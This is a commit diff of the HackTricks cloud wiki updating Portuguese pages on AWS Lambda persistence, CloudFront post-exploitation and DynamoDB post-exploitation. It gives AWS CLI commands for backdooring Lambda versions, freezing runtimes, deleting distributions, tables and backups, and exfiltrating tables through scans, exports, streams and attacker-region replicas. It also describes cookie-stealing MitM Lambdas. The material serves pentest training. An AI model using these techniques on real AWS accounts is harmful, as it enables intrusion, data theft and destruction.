mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-12 15:50:19 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-lambd
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações consulte:
|
||||
Para mais informações veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ Para mais informações consulte:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
É possível **introduzir/backdoor uma Layer para executar código arbitrário** quando a lambda é executada de forma furtiva:
|
||||
É possível **introduzir/backdoor um layer para executar código arbitrário** quando a Lambda é executada de forma furtiva:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir no lambda, além de roubar e modificar requests.
|
||||
Abusando de Lambda Layers, também é possível abusar de extensions e persistir na lambda, além de roubar e modificar requisições.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,42 +28,42 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
É possível conceder acesso a diferentes ações do lambda (como invoke ou update code) para contas externas:
|
||||
É possível conceder acesso a diferentes ações da lambda (como invoke ou update code) para contas externas:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Uma Lambda pode ter **diferentes versões** (cada versão com código diferente).\
|
||||
Então, você pode criar **diferentes aliases com diferentes versões** da lambda e definir pesos diferentes para cada um.\
|
||||
Dessa forma um atacante poderia criar uma **backdoored version 1** e uma **version 2 com apenas o código legítimo** e **executar a version 1 em apenas 1%** das requisições para permanecer furtivo.
|
||||
Uma Lambda pode ter **versões diferentes** (com código diferente em cada versão).\
|
||||
Então, você pode criar **aliases diferentes com versões diferentes** da Lambda e definir pesos diferentes para cada.\
|
||||
Dessa forma um atacante poderia criar uma **versão 1 backdoored** e uma **versão 2 com apenas o código legítimo** e **executar a versão 1 em apenas 1%** das requisições para permanecer furtivo.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. Copie o código original da Lambda
|
||||
2. **Create a new version backdooring** o código original (ou apenas com código malicioso). Publique e **implante essa versão** para $LATEST
|
||||
1. Chame o API Gateway relacionado à lambda para executar o código
|
||||
3. **Crie uma nova versão com o código original**, Publique e implante essa **version** para $LATEST.
|
||||
2. **Create a new version backdooring** o código original (ou apenas com código malicioso). Publish e **deploy that version** para $LATEST
|
||||
1. Chame o API Gateway relacionado à Lambda para executar o código
|
||||
3. **Create a new version with the original code**, Publish e deploy essa **version** para $LATEST.
|
||||
1. Isso esconderá o código backdoored em uma versão anterior
|
||||
4. Vá ao API Gateway e **crie um novo método POST** (ou escolha qualquer outro método) que executará a versão backdoored da lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Observe o final :1 do arn **indicando a versão da função** (version 1 será a backdoored neste cenário).
|
||||
4. Vá ao API Gateway e **create a new POST method** (ou escolha qualquer outro método) que executará a versão backdoored da lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note o final :1 do arn **indicando a versão da função** (version 1 será a backdoored neste cenário).
|
||||
5. Selecione o método POST criado e em Actions selecione **`Deploy API`**
|
||||
6. Agora, quando você **chamar a função via POST seu Backdoor** será invocado
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
O fato de que você pode fazer **funções lambda serem executadas quando algo acontece ou quando passa algum tempo** torna o lambda uma forma comum e eficiente de obter persistência e evitar detecção.\
|
||||
O fato de você poder fazer **funções Lambda rodarem quando algo acontece ou quando algum tempo passa** torna a Lambda uma forma comum e interessante de obter persistência e evitar detecção.\
|
||||
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
|
||||
|
||||
- Toda vez que um novo usuário for criado, a lambda gera uma nova chave de usuário e a envia ao atacante.
|
||||
- Toda vez que uma nova role for criada, a lambda concede permissões de assume role a usuários comprometidos.
|
||||
- Toda vez que novos logs do cloudtrail forem gerados, deletá-los/alterá-los
|
||||
- Toda vez que um novo usuário é criado a Lambda gera uma nova user key e a envia para o atacante.
|
||||
- Toda vez que um novo role é criado a Lambda concede permissões de assume role a usuários comprometidos.
|
||||
- Sempre que novos logs do CloudTrail são gerados, delete/altere-os
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um script wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a função de execução (function execution role) e por fim `exec`s o runtime real para que o handler original ainda seja executado normalmente.
|
||||
Abuse a variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um script wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, defina `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda o role de execução da função e finalmente `exec`s o runtime real para que o handler original ainda seja executado normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
@@ -71,7 +71,7 @@ aws-lambda-exec-wrapper-persistence.md
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse as asynchronous destinations do Lambda juntamente com a configuração Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a configuração de recursion para Allow os reativa. Destinations entregam no lado do serviço para invocações assíncronas, então um único invoke semente cria um canal stealthy, sem código, de heartbeat/backdoor. Opcionalmente faça throttle com reserved concurrency para manter o ruído baixo.
|
||||
Abuse destinos assíncronos do Lambda juntamente com a configuração de Recursion para fazer com que uma função se re-invoque continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas definir a config de recursion para Allow reativa-os. Destinations entregam do lado do serviço para invocações assíncronas, então uma única seed invoke cria um canal furtivo, sem código, de heartbeat/backdoor. Opcionalmente regule com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
@@ -79,13 +79,55 @@ aws-lambda-async-self-loop-persistence.md
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crie uma versão oculta da Lambda com lógica do atacante e aplique uma resource-based policy a essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` para um principal atacante. Invocações normais via o nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
Crie uma versão oculta da Lambda com lógica do atacante e escopo uma resource-based policy para essa versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` em `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via o nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isso é mais furtivo do que expor uma Function URL e não altera o alias de tráfego primário.
|
||||
Isso é mais furtivo do que expor um Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Um atacante que possui permissões lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig e lambda:GetRuntimeManagementConfig pode modificar a runtime management configuration de uma função. Este ataque é especialmente eficaz quando o objetivo é manter uma função Lambda em uma versão de runtime vulnerável ou preservar compatibilidade com layers maliciosos que podem ser incompatíveis com runtimes mais novos.
|
||||
|
||||
O atacante modifica a runtime management configuration para fixar a versão do runtime:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Verifique a configuração aplicada:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Opcional: Fixar em uma versão específica do runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Fixar em uma versão específica do runtime:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,31 +1,40 @@
|
||||
# AWS - CloudFront Post Exploitation
|
||||
# AWS - CloudFront Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
Para mais informações, veja:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Um atacante com a permissão cloudfront:Delete* pode excluir distributions, policies e outros objetos críticos de configuração do CDN — por exemplo distributions, cache/origin policies, key groups, origin access identities, functions/configs, e recursos relacionados. Isso pode causar interrupção do serviço, perda de conteúdo e remoção de configurações ou artefatos forenses.
|
||||
|
||||
Para excluir uma distribution, um atacante poderia usar:
|
||||
```bash
|
||||
aws cloudfront delete-distribution \
|
||||
--id <DISTRIBUTION_ID> \
|
||||
--if-match <ETAG>
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
Este [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o propósito de **roubar** informações do usuário (como o **cookie** de sessão) e **modificar** a **response** (injetando um script JS malicioso).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propõe alguns cenários diferentes onde uma **Lambda** poderia ser adicionada (ou modificada se já estiver sendo usada) em uma **comunicação através do CloudFront** com o objetivo de **stealing** informações do usuário (como o **cookie** de sessão) e **modifying** a **response** (injetando um script JS malicioso).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### cenário 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Crie** a **função** maliciosa.
|
||||
- **Associe** a função à distribuição do CloudFront.
|
||||
- **Defina o event type para "Viewer Response"**.
|
||||
- **Criar** a **função** maliciosa.
|
||||
- **Associar** ela à distribuição do CloudFront.
|
||||
- Defina o **tipo de evento** para "Viewer Response".
|
||||
|
||||
Ao acessar a resposta, você pode roubar o cookie dos usuários e injetar um JS malicioso.
|
||||
Ao acessar a **response** você poderia roubar o **cookie** dos usuários e injetar um JS malicioso.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### cenário 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modifique o código** da função Lambda para roubar informações sensíveis
|
||||
- **Modificar o código** da lambda function para roubar informações sensíveis
|
||||
|
||||
Você pode verificar o [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Você pode conferir o [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Para mais informações veja:
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@ Para mais informações veja:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Um atacante com essa permissão poderá **obter itens das tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obtê-las pegando os metadados da tabela (`describe-table`).
|
||||
Um attacker com essas permissões poderá **obter itens das tabelas pela chave primária** (você não pode simplesmente pedir todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso pegando os metadados da tabela (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,7 +43,7 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Elevação de privilégios indireta (privesc) ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Com essa permissão também é possível usar o método **`transact-get-items`** assim:
|
||||
Com essa permissão também é possível usar o método **`transact-get-items`** como:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Semelhante às permissões anteriores**, esta permite que um atacante potencial leia valores de apenas 1 tabela dado a chave primária da entrada a ser recuperada. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma requisição.
|
||||
**Semelhante às permissões anteriores** esta permite que um atacante potencial leia valores de apenas 1 tabela, desde que a chave primária do registro a recuperar seja fornecida. Permite usar um [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o banco de dados em uma requisição.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -111,15 +111,15 @@ aws dynamodb query \
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Você pode usar esta permissão para **dump a tabela inteira facilmente**.
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Você pode usar esta permissão para **dump the entire table easily**.
|
||||
Você pode usar essa permissão para **dump facilmente a tabela inteira**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -129,13 +129,13 @@ Esta permissão também permite executar `batch-execute-statement` como:
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
mas é necessário especificar a chave primária com um valor, então isso não é tão útil.
|
||||
mas você precisa especificar a chave primária com um valor, então isso não é tão útil.
|
||||
|
||||
**Potential Impact:** Escalada de privilégios indireta (indirect privesc) ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** Privesc indireta ao localizar informações sensíveis na tabela
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Essa permissão permitirá que um atacante **exporte a tabela inteira para um S3 bucket** de sua escolha:
|
||||
Essa permissão permitirá que um atacante **exporte toda a tabela para um bucket S3** à sua escolha:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Observe que, para isso funcionar, a tabela precisa ter point-in-time-recovery habilitado; você pode verificar se a tabela tem isso com:
|
||||
Observe que, para isto funcionar, a tabela precisa ter point-in-time-recovery habilitado; você pode verificar se a tabela possui isso com:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
@@ -155,23 +155,22 @@ aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impacto Potencial:** privesc indireta ao localizar informações sensíveis na tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informação sensível na tabela
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para então restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele seria capaz de verificar **informações** dos backups que **não podem mais estar na tabela de produção**.
|
||||
Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até criar um backup para depois restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele seria capaz de verificar **informação** dos backups q**ue não estivessem mais na tabela de produção**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no backup da tabela
|
||||
**Impacto Potencial:** privesc indireto ao localizar informações sensíveis no backup da tabela
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Essa permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
Esta permissão permite que usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -203,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto potencial:** Exploração de vulnerabilidades/bypasses adicionais ao conseguir adicionar/modificar dados em uma tabela DynamoDB
|
||||
**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais por permitir adicionar/modificar dados em uma tabela DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Esta permissão permite aos usuários **modificar os atributos existentes de um item ou adicionar novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá **criar um novo item** com a chave primária especificada e definir os atributos especificados na expressão de atualização.
|
||||
Esta permissão permite que usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação irá **criar um novo item** com a chave primária especificada e definir os atributos indicados na expressão de atualização.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -253,24 +252,24 @@ aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impacto potencial**: Perda de dados e interrupção dos serviços que dependem da tabela excluída.
|
||||
**Impacto potencial**: Perda de dados e interrupção de serviços que dependem da tabela excluída.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Um atacante com essa permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em um cenário de recuperação de desastres**.
|
||||
Um atacante com essa permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Potencial impacto**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastres.
|
||||
**Impacto potencial**: Perda de dados e incapacidade de recuperar a partir de um backup durante um cenário de recuperação de desastre.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar se isso realmente funciona
|
||||
> TODO: Testar se isto realmente funciona
|
||||
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir as alterações e então acessar o stream para monitorar mudanças na tabela em tempo real**. Isso permite que o atacante monitore e exfiltrate alterações de dados, potencialmente levando a data leakage.
|
||||
Um atacante com essas permissões pode **habilitar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir as alterações e então acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite ao atacante monitorar e exfiltrate alterações de dados, potencialmente levando a data leak.
|
||||
|
||||
1. Habilitar um stream em uma tabela DynamoDB:
|
||||
```bash
|
||||
@@ -293,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Utilize o shard iterator para acessar e exfiltrate dados do stream:
|
||||
4. Use o shard iterator para acessar e exfiltrate os dados do stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Monitoramento em tempo real e data leakage das alterações da tabela DynamoDB.
|
||||
**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações na tabela DynamoDB.
|
||||
|
||||
### Ler itens via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
### Ler itens via `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) ao realizar uma atualização benigna e solicitar `--return-values ALL_OLD`. DynamoDB retornará a imagem completa pré-atualização do item no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
Um atacante com apenas `dynamodb:UpdateItem` em uma tabela pode ler itens sem nenhuma das permissões de leitura usuais (`GetItem`/`Query`/`Scan`) realizando uma atualização benigna e solicitando `--return-values ALL_OLD`. O DynamoDB retornará a imagem completa do item antes da atualização no campo `Attributes` da resposta (isso não consome RCUs).
|
||||
|
||||
- Permissões mínimas: `dynamodb:UpdateItem` na tabela/chave alvo.
|
||||
- Pré-requisitos: Você deve conhecer a chave primária do item.
|
||||
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltrates o item anterior na resposta):
|
||||
Exemplo (adiciona um atributo inofensivo e exfiltra o item anterior na resposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -319,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente uma primitiva de leitura a partir de acesso somente de escrita.
|
||||
A resposta do CLI incluirá um bloco `Attributes` contendo o item anterior completo (todos os atributos), fornecendo efetivamente um primitivo de leitura a partir de acesso apenas de escrita.
|
||||
|
||||
**Impacto potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo exfiltration de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
**Impacto Potencial:** Ler itens arbitrários de uma tabela com apenas permissões de escrita, permitindo a exfiltração de dados sensíveis quando as chaves primárias são conhecidas.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltration furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (versão 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, da qual o atacante poderá ler todos os itens.
|
||||
Exfiltração furtiva ao adicionar uma nova réplica Region a uma DynamoDB Global Table (version 2019.11.21). Se um principal puder adicionar uma réplica regional, toda a tabela será replicada para a Region escolhida pelo atacante, de onde o atacante pode ler todos os itens.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -355,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
Permissões: `dynamodb:UpdateTable` (com `replica-updates`) ou `dynamodb:CreateTableReplica` na tabela de destino. Se um CMK for usado na réplica, permissões KMS para essa chave podem ser necessárias.
|
||||
|
||||
Potential Impact: Replicação de toda a tabela para uma Região controlada pelo atacante, levando a exfiltração furtiva de dados.
|
||||
Impacto potencial: Replicação de toda a tabela para uma Region controlada pelo atacante, levando à exfiltração de dados de forma furtiva.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (leitura via condição que falha + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Um atacante com privilégios de escrita transacional pode exfiltrar os atributos completos de um item existente ao executar um `Update` dentro de `TransactWriteItems` que intencionalmente falha em uma `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nas razões de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura das chaves alvo.
|
||||
Um atacante com privilégios de gravação transacional pode exfiltrar os atributos completos de um item existente realizando um `Update` dentro de `TransactWriteItems` que intencionalmente faz falhar um `ConditionExpression` enquanto define `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Em caso de falha, o DynamoDB inclui os atributos anteriores nos motivos de cancelamento da transação, efetivamente transformando acesso apenas de escrita em acesso de leitura das chaves alvo.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -412,17 +411,17 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
Permissões: `dynamodb:TransactWriteItems` na tabela alvo (e no item subjacente). Nenhuma permissão de leitura é necessária.
|
||||
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de gravação transacional via os motivos de cancelamento retornados.
|
||||
Impacto potencial: Ler itens arbitrários (pela chave primária) de uma tabela usando apenas privilégios de escrita transacional através dos motivos de cancelamento retornados.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
Contornar restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, defina esse atributo para um valor constante em todos os itens, então `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, contanto que você possa consultar o ARN do índice.
|
||||
Contorne restrições de leitura criando um Global Secondary Index (GSI) com `ProjectionType=ALL` em um atributo de baixa entropia, definindo esse atributo para um valor constante em todos os itens e então `Query` o índice para recuperar os itens completos. Isso funciona mesmo se `Query`/`Scan` na tabela base for negado, desde que você possa consultar o ARN do índice.
|
||||
|
||||
- Permissões mínimas:
|
||||
- `dynamodb:UpdateTable` na tabela alvo (para criar o GSI com `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` nas chaves da tabela alvo (para definir o atributo indexado em cada item).
|
||||
- `dynamodb:Query` no ARN do recurso do índice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
